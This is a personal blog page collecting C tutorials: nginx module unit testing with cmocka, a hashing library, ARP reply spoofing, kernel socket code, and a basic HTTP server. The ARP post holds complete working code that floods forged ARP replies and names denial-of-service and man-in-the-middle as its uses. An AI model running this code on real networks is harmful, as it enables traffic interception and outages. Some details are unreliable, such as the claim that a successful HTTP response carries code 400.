Showing posts with label C. Show all posts
Showing posts with label C. Show all posts

Thursday, September 24, 2015

Unit-Testing+Mocking Nginx Module

The following are the frameworks that I looked into to finalize the one which is the most suitable for unit testing+mocking module in nginx.

  • unity + cmock
    • unit testing was almost okay (have to use ruby to generate test runner)
    • for mocking you need to extract all the functions that you need to mock into a new header file. The framework would then generate a mocked version to header files that can be used. The problem here is the extraction of functions to be mocked requires lots of time and patience.
  • gTest  +  gMock
    • unit testing was perfect, uses macro to register test ;)
    • the problem with mocking free functions is that you need to rewrite your code to use interface.
  • cmocka
    • unit testing was okay (ease of use : between google's and unity's)
    • for mocking all u need to do write the mocked-version of the function that you need to mock. Framework utilizes that wrap feature of linker.


The following is the way how I used cmocka to unit-test+mock the nginx module : 

Folder structure
--src
|-> nginx-1.8.0 [nginx source]
|
|-> nginx_module
|  |-> ngx_redis_module.c
|
|-> test
 |-> test_ngx_redis_module.c
 |-> test_ngx_redis_module.h
 |-> makefile

The function that I need to unit test is the ngx_redis_event_handler() in the ngx_redis_module.c. This function calls two other functions redisAsyncHandleWrite() and redisAsyncHandleRead(), since these functions are not under test it has to be mocked. As the framework uses wrap feature of linker for mocking, you need to define the mocked definition of these two functions with __wrap_ as the prefix for the mocked-function's name (see : test_ngx_redis_module.h ). Now declare the mocked-functions in the test file (see : test_ngx_redis_module.c) and write test for the function to be tested (refer the cmocka on how to write tests). 

In the example I have written three tests for unit-testing ngx_redis_event_handler().
  • test_ngx_redis_event_handler_write() : since line#22 and #23 of the function are executed you need to create the objects necessary to run them without exception. This test sets the ev->write = 1, so it flows through if() in line#25 of the function being tested, where the mocked version of redisAsyncHandleWrite() i.e __wrap_redisAsyncHandleWrite() is called at line#27 
  • test_ngx_redis_event_handler_read() : since line#22 and #23 of the function are executed you need to create the objects necessary to run them without exception. This test sets the ev->write = 0, so it flows through else in line#28 of the function being tested, where the mocked version of redisAsyncHandleRead() i.e __wrap_redisAsyncHandleRead() is called at line#30
  • test_ngx_redis_event_handler_ready : since this test enters the if() at line#18 and returns, line#22 to #33 won't be executed hence objects required may not be created.
Use expect_* and check_* to verify that the mocked functions are called.

Now to compile the test cases you need to include all the objects files that the test and module refers to. This can be found from the makefile that nginx uses to compile the nginx.o, located at 'nginx-1.8.0/objs/Makefile' under the section 'objs/nginx:' (everything between  '$(LINK) -o' and 'objs/ngx_modules.o'(included)). Make sure you remove the objects file of the nginx module (ngx_redis_module.o) from the above list of object files, it is included in src/test/makefile. 

The second thing you need to do is to remove 'main()' from the 'nginx.o', else ld will state that you have two mains. Use the 'strip' command to remove main from nginx.o (located at nginx-1.8.0/objs/src/core)

$> strip -N main -o nginx_without_main.o nginx.o

replace the nginx.o with nginx_without_main.o in your makefile that you use to compile the test.

Now, 'make run' to run the tests.

[==========] Running 3 test(s).
[ RUN           ] test_ngx_redis_event_handler_write
[             OK  ] test_ngx_redis_event_handler_write
[ RUN           ] test_ngx_redis_event_handler_read
[             OK  ] test_ngx_redis_event_handler_read
[ RUN           ] test_ngx_redis_event_handler_ready
[             OK  ] test_ngx_redis_event_handler_ready
[==========] 3 test(s) run.
[  PASSED     ] 3 test(s).






Thursday, August 27, 2015

CHasho : Hashing In C

Had a requirement to write a hashing library in C with 5 character keys and string as value.

Here is the git repo : https://github.com/melwinjose1991/CHasho
The hashing function is based on Java's HashMap.
 Info : http://melwin-jose.blogspot.in/2014/11/internal-working-of-hashmap.html

Code reference : https://gist.github.com/tonious/1377667

You are free to use/modify this as per your requirement.

-Chasho
     |--> src
     |      |-> chasho.h
     |      |-> chasho.c
     |      |-> com/melwin/chasho
     |
     |-> example
     |        |-> example.c
     |        |-> makefile


chasho.h and chasho.c : the header file and the source file.
example : contains a sample code on how to use CHasho
com/melwin/chasho : contains a Java implemtation of the hashing function used in CHasho
                    It shows how the 5Character keys are distributed into hashTable with 64 buckets.

Result when all possible 5-character keys were hashed into table with 16 buckets
Bucket[0] 3884771
Bucket[1] 3888063
Bucket[2] 3891167
Bucket[3] 3893639
Bucket[4] 3895132
Bucket[5] 3895427
Bucket[6] 3894480
Bucket[7] 3892435
Bucket[8] 3889583
Bucket[9] 3886323
Bucket[10] 3883140
Bucket[11] 3880547
Bucket[12] 3878969
Bucket[13] 3878653
Bucket[14] 3879648
Bucket[15] 3881803

Bucketized Tokens : 62193780
Generated Tokens  : 62193780

Hope you find it useful.

Wednesday, July 31, 2013

ARP Reply Spoof - C code

ARP Reply Spoof- C code



'ARP SPOOFING - VBox+GNS3 test ' contains introduction to ARP, its working and ARP Spoofing. To understand this post it is recommended that you have a basic idea about these topics.

In the code given below we broadcast ARP reply in the interface specified. The interface, source ip address and source MAC address are given as parameter to the program. The destination MAC id is set to all 1s for broadcasting. The ARP reply is broadcasted regularly using sleep() so that the original ARP reply is not cached in the target systems ARP table.


Applications of ARP Spoofing

  • Denial of Service: The hacker can broadcast ARP Reply whose source IP is that of a router/gateway and a false source MAC id. Now when a host tries to send a packet to the router/gateway, it is dropped and the hacker has cut off the network from the other side of the gateway (internet).
  • Man-in-the-middle : Here the attacker sends ARP reply to the victim-1 stating that it is the victim-2. Also ARP reply is send to victim-2 stating that the attacker is the victim-1. The packet forwarding feature is enabled in the attacker so that all packets between the victim-1 and victim-2 passes through it.

ARP Packet


Ethernet Packet


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/socket.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <netinet/if_ether.h>

int sock;

#define PACKET_LEN sizeof(struct ether_header) + sizeof(struct ether_arp)

void close_sock()
{
  close(sock);
  exit(0);
}

int main(int argc, char ** argv)
{
 char packet[PACKET_LEN];
 struct sockaddr_ll device;
 struct ether_header * eth = (struct ether_header *) packet;
 struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
 
 if (argc < 4) 
 {
    puts("Usage: ./a.out <interface> <source ip address> <source mac address>");
  exit(1);
 }

 sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
 if (sock < 0)
   perror("socket"), exit(1);

 signal(SIGINT, close_sock);


  //Source Hardware Address : ARP Packet
  sscanf(argv[3], "%x:%x:%x:%x:%x:%x",  (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);

  //Source Protocol Address : ARP Packet
  sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
                         (int *) &arp->arp_spa[1],
                         (int *) &arp->arp_spa[2],
                         (int *) &arp->arp_spa[3]);

 //Ethernet Packet
 memset(eth->ether_dhost, 0xff, ETH_ALEN); //destination address : broadcast address
 memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN); //source address
 eth->ether_type = htons(ETH_P_ARP); //type

 //ARP Packet
 arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); //Format of hardware address
 arp->ea_hdr.ar_pro = htons(ETH_P_IP); //Format of protocol address.
 arp->ea_hdr.ar_hln = ETH_ALEN; //Length of hardware address.
 arp->ea_hdr.ar_pln = 4; //Length of protocol address.
 arp->ea_hdr.ar_op = htons(ARPOP_REPLY); //ARP operation : REPLY
 memset(arp->arp_tha, 0xff, ETH_ALEN); //Target hardware address.
 memset(arp->arp_tpa, 0x00, 4); //Target protocol address.

 memset(&device, 0, sizeof(device));
 device.sll_ifindex = if_nametoindex(argv[1]); //Interface number
 device.sll_family = AF_PACKET;
 memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN); //Physical layer address
 device.sll_halen = htons(ETH_ALEN); //Length of address

 printf("Press Ctrl+C to stop \n");
 while (1) {
   printf("Broadcasting on %s: %s is at %s\n", argv[1], argv[2], argv[3]);
   sendto(sock, packet, PACKET_LEN, 0, (struct sockaddr *) &device, sizeof(device));
   sleep(2);
 }
 return 0;
}





Tuesday, April 30, 2013

Network Programming in the Kernel


Prerequisites : Socket and Module programming

Advantage of implementing application within the kernel : 
  • The overhead associated with user-space/kernel-space transition can be avoided by implementing the application completely in the Kernel Space .
  • In specific research and high-performance computing environments, there is a need for achieving data transfers at great speeds. Kernel applications find use in such situations.
Disadvantages:
  • Security is a primary concern within the kernel, since kernel process run with unlimited privileges.Consequently, special care needs to be taken while designing in-kernel applications.
  • Large applications cannot be implemented in the kernel due to memory constraints.
  • Every kernel needs a specific implementation route.
  • Failure in the web server may cause the OS to crash.



/*  
 * Called when a process writes to dev file
 * Stores the string written to the device in
 * local buffer and sends the string using
 * SOCK_STREAM to 127.0.0.1:2001
 */
static ssize_t
device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
{
int ret; //return value
int k,leng;
struct sockaddr_in server;
struct socket *soc=NULL;
struct iovec iov;
struct msghdr msgh;
mm_segment_t oldmm;
printk(KERN_INFO "[device_write]File opened for writing\n");

ret=copy_from_user(msg,buff,80);
//buff : buffer that accepts the string from 
// the program that issued a write.
// Points to user area memory
//msg  : kernel/module space that hold the 
// value written.
msgh.msg_name     = 0;
msgh.msg_namelen  = 0;
// Socket address members msg_name and msg_namelen.
// Required only when your socket is a datagram socket.
// msg_name member points to the socket address that 
// you are sending to or receiving from.

    msgh.msg_iov      = &iov;
    msgh.msg_iovlen   = 1;
// I/O vector references msg_iov and msg_iovlen.
// msg_iov member points to the struct iovec array.
// msg_iovlen indicates how many elements are in your 
// I/O vector array 

    msgh.msg_control  = NULL;
    msgh.msg_controllen = 0;
// Ancillary data buffer members msg_control    
// and msg_controllen. Used to pass protocol-specific 
// control messages. No control messages for TCP.

    msgh.msg_flags    = MSG_DONTWAIT;
// Received message flag bits msg_flags.
// MSG_DONTWAIT prevents the system call from blocking if, 
// for example, there are no data to be received.

    oldmm = get_fs();
    set_fs(KERNEL_DS);
// get_fs returns the current segment descriptor stored in FS.
// set_fs stores a descriptor into FS, so it will be used for 
//  data transfer instructions.

    msgh.msg_iov->iov_len = 80;
    msgh.msg_iov->iov_base = (char *) msg;

    printk(KERN_INFO "[chardev:device_write] msg : %s\n",msg);

    k=sock_create(PF_INET,SOCK_STREAM,IPPROTO_TCP,&soc);
    memset(&server,0,sizeof(server));
    server.sin_family=AF_INET;
    server.sin_port=2001;
    server.sin_addr.s_addr=inet_addr("127.0.0.1");
    k=soc->ops->connect(soc,(struct sockaddr *)&server,sizeof(server),O_RDWR);
    if(k!=-1) printk(KERN_INFO"[device_write] connect() OK. Next sock_sendmsg().\n");
    else printk(KERN_INFO"[device_write] connect() FAILED. Next sock_sendmsg().\n");
    leng = sock_sendmsg(soc, &msgh, 80);
//msg length 80
    if(leng) printk(KERN_INFO"[device_write] sock_sendmsg() OK. Next close().\n");
    else printk(KERN_INFO"[device_write] sock_sendmsg() FAILED. Next close().\n");
    sock_release(soc);

return ret;
}

Further Reading :
 In-Kernel Web Sever

 kHTTPd

Saturday, January 26, 2013

Simple HTTP Server Programming



Simple HTTP Server

Prerequisites : Socket and thread programming

HTTP is a protocol used for communication between a browser and a web server.

How HTTP works : When you type in  a URL in the browser and click GO the browser extracts the host-name section and uses DNS to obtain the IP address of the web server that host the web site. The browser then uses this IP address to form a TCP connection to the web server. The browser sends HTTP request to retrieve a specific page. If the page exist the server responds by sending the copy of the page in the HTTP response (response code - 400). If the file doesn't exists in the server, the server send  HTTP response containing a response code 404 (Not Found Error Message).


HTTP Request

  The request message syntax:
  • Request line, for eg :  GET /images/logo.png HTTP/1.1
  • Headers
  • An empty line.
  • An optional message body.
  Example of a simple HTTP request:
    GET / HTTP/1.1
    Host: 127.0.0.1:2003

Explanation:
Line 1 : "GET" indicates the request method used . Other methods are PUT, POST etc
     "/" indicates the requested page, here its the root page i.e index.html
     "HTTP/1.1" version of HTTP used
Line 2 : "HOST" host to which request is send
"127.0.0.1" IP address of host
"2003" is the port used

More about HTTP request and headers can be found at
http://en.wikipedia.org/wiki/HTTP_request


HTTP Response
The response message consists of the following:
  • A Status-Line
  • Headers
  • An empty line
  • An optional message body
Example:
HTTP/1.1 200 OK
  Content-type: text/html
<html>
<head></head>
<body>
 <h1>Header</h1>
 <p>Congrats !! your HTTP server is working.</p>
</body>
</html>

Explanation :
Line 1 : "HTTP/1.1" HTTP version used
"200" status code
"OK" description of status code
Line 2 : "Content-type: text/html" indicates type of the file.
Line 3 : HTML code of the page

More about HTTP response and headers
http://en.wikipedia.org/wiki/HTTP_response

HTTP status code
                http://en.wikipedia.org/wiki/List_of_HTTP_status_codes




/*------------------------------Simple HTTP Server----------------------------*/


#include<sys/socket.h>
#include<sys/stat.h>  
#include<sys/types.h>  
#include<netinet/in.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<pthread.h>
#include <netdb.h>

#define BUFF_LEN 1028

pthread_t c;

/* HTTP response and header for a successful request.  */
static char* ok_response =
  "HTTP/1.1 200 OK\n"
  "Content-type: text/html\n"
  "\n"
  "<html>\n"
  "<head></head>\n"
  " <body>\n"
  "  <h1>Header</h1>\n"
  "  <p>Congrats !! your HTTP server is working.</p>\n"
  " </body>\n"
  "</html>\n";

void * serve_client(int tsd)
{
int k;
char buff[BUFF_LEN]; //used to store the HTTP request
printf("[Server : %d].\n",tsd);
k=recv(tsd,buff,BUFF_LEN,0);
if(k==-1)
printf("[Server : %d] recv() failed.\n",tsd);
else printf("[Server : %d] recv() OK .\n",tsd);

// Printing the HTTP request recieved
printf("[Server : %d] Recieved : %s\n",tsd,buff);

/* Actual HTTP server does some processing and responds accordingly.
* Here I have just send a HTTP response.
*/

//Sending the HTTP response
write (tsd, ok_response, strlen (ok_response));

close(tsd);
printf("[Server : %d] going to pthread_exit().\n\n",tsd);
pthread_exit(NULL);
}


int main(int argc,char *argv[])
{ char buff[100];
int k;
socklen_t len;
int sock_desc,temp_sock_desc;
short port;
struct sockaddr_in server,client;

printf("[Server] Start . Next memset()\n");
memset(&server,0,sizeof(server));
memset(&client,0,sizeof(client));

printf("[Server] memset() OK . Next socket()\n");
sock_desc=socket(AF_INET,SOCK_STREAM,0);
printf("[Server] socket() OK . Next bind()\n");
server.sin_family=AF_INET;
server.sin_addr.s_addr=INADDR_ANY;
port = (argc > 1) ? atoi(argv[1]) : 3001; //default port : 3001
server.sin_port=htons(port);

k=bind(sock_desc,(struct sockaddr*)&server,sizeof(server));
if(k==-1)
printf("[Server] bind() failed.\n");
else printf("[Server] bind() OK . Next listen()\n");

k=listen(sock_desc,10);
if(k==-1)
printf("[Server] listen() failed.\n");
else printf("[Server] listen() OK . Next accept()\n");

len=sizeof(client);

while(1)
{
temp_sock_desc=accept(sock_desc,(struct sockaddr*)&client,&len);
printf("\n[Server] accept() OK .\n");

printf("[Server] Client IP : %s.\n",(char*)inet_ntoa(client.sin_addr));
printf("[Server] sock_desc : %d.\n",sock_desc);
printf("[Server] temp_sock_desc : %d.\n",temp_sock_desc);

/*
* Start a thread to server each client.
*/
pthread_create( &c,NULL,(void *)serve_client, (int *) temp_sock_desc);

}

close(temp_sock_desc);
close(sock_desc);
exit(0);
return 0;
}

/*------------------------------End Of Program----------------------------*/



Working :

This programs waits for a client to connect and then starts a thread to serve the client.
This thread recieves a message(HTTP request) from the client and sends a HTTP response
to the client.

A real HTTP server does more than this. It includes

  • checking if the requested file exist and send response accordingly.
  • Integration of Server side scripting languages like PHP,ASP,JSP.etc
  • status code based actions
  • caching
  • and so on


By parsing through the HTTP request the requirements of the client can be understood and
required output can be generated.


Compiling and running :

  1. Copy the code and paste it in a file,say "server.c"
  2. compile : gcc server.c -lpthread
  3. run : ./a.out 2001
  4. In browser : http://127.0.0.1:2001/